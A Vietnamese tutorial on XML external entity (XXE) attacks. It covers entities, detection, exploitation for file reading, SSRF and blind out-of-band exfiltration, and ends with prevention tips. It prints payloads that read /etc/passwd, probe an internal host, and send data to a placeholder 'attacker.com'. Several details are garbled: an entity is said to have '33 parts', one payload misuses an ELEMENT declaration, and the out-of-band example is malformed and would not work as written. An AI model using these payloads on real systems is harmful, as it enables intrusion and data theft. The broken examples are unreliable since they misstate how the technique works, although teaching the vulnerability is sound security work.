# XML là gì?
XML là viết tắt của eXtensible Markup Language. Khá giống với ngôn ngữ HTML, chúng ta có thể hiểu XML là một dạng ngôn ngữ đánh dấu, được tổ chức W3C phát triển với mục đích lưu trữ, truyền dữ liệu và cả người và "máy" đều có thể đọc được.
Ví dụ XML:
```xml=
<?xml version="1.0" encoding="UTF-8"?>
<application>
<title>eMB</title>
<company>MB</company>
<year>2021</year>
<price>40000000</price>
</application>
```
# Entity là gì?
``Entity`` (thực thể) là các biến được sử dụng là một khái niệm có thể được sử dụng như một kiểu tham chiếu đến dữ liệu. Một entity có cấu trúc gồm 33 phần: Ký tự "và" (&), tên entity, ký tự "chấm phẩy" (;). Chúng được khai báo trong DTD (Document Type Definition). Ví dụ: ``&Trong;``.
Có hai kiểu khai báo ``entity``: Internal và External.
### Internal Entity
```xml=
<!ENTITY name "John">
<!ENTITY age "20">
<info>Name: &name; Age: &age;</info>
```
### External Entity
```xml=
<!ENTITY name SYSTEM "https://example.com/entities.dtd">
<!ENTITY age SYSTEM "https://example.com/entities.dtd">
<info>Name: &name; Age: &age;</info>
```
# XXE là gì?
XXE là một lỗ hổng cho phép attacker có thể can thiệp vào quá trình xử lý dữ liệu XML của ứng dụng. Điều này cho phép attacker có thể đọc được các tệp hệ thống, tương tác với phía back-end hoặc external systems mà ứng dụng đó có thể truy cập được. Trong một số trường hợp attacker có thể lợi dụng các cuộc tấn công XXE để thực hiện các cuộc tấn công SSRF.
# XXE xảy ra khi nào?
Một số ứng dụng sử dụng định dạng XML để truyền dữ liệu giữa browser và server. Các ứng dụng này sẽ sử dụng các thư viện hoặc các API platform để xử lý data ở phía server (``DOMDocument`` của PHP, ``xmldom`` của js). XXE xảy ra khi dữ liệu XML nhập vào không đáng tin cậy, không kiểm soát chặt chẽ ``external entity``.
# Có bao nhiêu loại tấn công XXE?
Exploiting XXE to retrieve files.
Exploiting XXE to perform SSRF attacks.
Exploiting blind XXE exfiltrate data out-of-band.
Exploiting blind XXE to retrieve data via error messages.
# Detect
Kiểm tra xem ứng dụng có sử dụng XML để truyền dữ liệu hay không, Sử dụng ``parser XML`` mà không vô hiệu hóa ``external entity``.
Hay có thể thử trực tiếp bằng các payload cụ thể như:
```xml=
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
```
Hoặc
```xml=
<!DOCTYPE foo [
<!ELEMENT foo SYSTEM "http://attacker.com/exfiltrate?data=file:///etc/passwd" >
]>
<foo>&foo;</foo>
```
# Exploit
### Exploiting XXE to retrieve files.
Đầu tiên ta sẽ thay đổi phần ``DOCTYPE`` để định nghĩa một ``external entity`` chứa đường dẫn tới file để đọc.
Tiếp theo theo chúng ta sẽ chỉnh sửa giá trị của dữ liệu XML mà ứng dụng trả về.
Ví dụ:
```xml=
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>381</productId></stockCheck>
```
Sau khi thực hiện chỉnh sửa thì payload sẽ là:
```xml=
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId></stockCheck>
```
### Exploiting XXE to perform SSRF attacks.
Đầu tiên chung ta cần định nghĩa một ``external entity`` sử dụng một URL nhằm vào mục tiêu, sau đó sử dụng ``entity`` này trong phần dữ liệu. Nếu ứng dụng trả về giá trị này trong phản hồi, chung có thể xem phản hồi từ URL đó trong phản hồi của ứng dụng, cho phép tương tác với hệ thống back-end.
```xml=
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]>
```
### Exploiting blind XXE exfiltrate data out-of-band.
Do không có phản hồi từ server khi khai thác mù, do đó chúng ta sẽ sử dụng OOB để trích xuất dữ liệu.
```xml=
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://attacker.com/?data=file:///etc/passwd"> ]>
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck><productId>&xxe;</productId></stockCheck>
```
### Exploiting blind XXE to retrieve data via error messages.
Đây là kĩ thuật tấn công dùng đề trích xuất dữ liệu dựa trên những thông báo lỗi mà phía server phản hồi lại.
# Prevent
Vô hiệu hóa ``external entity`` và ``DTDs`` do hầu hết đều phát sinh từ các ``DTD`` độc hại.
Sử dụng các định dạng khác như JSON.
Tiến hành xác thực bằng ``whitelist`` hoặc ``blacklist`` (loại bỏ ``<``, ``>``, ``&``, ``'`` và ``"``).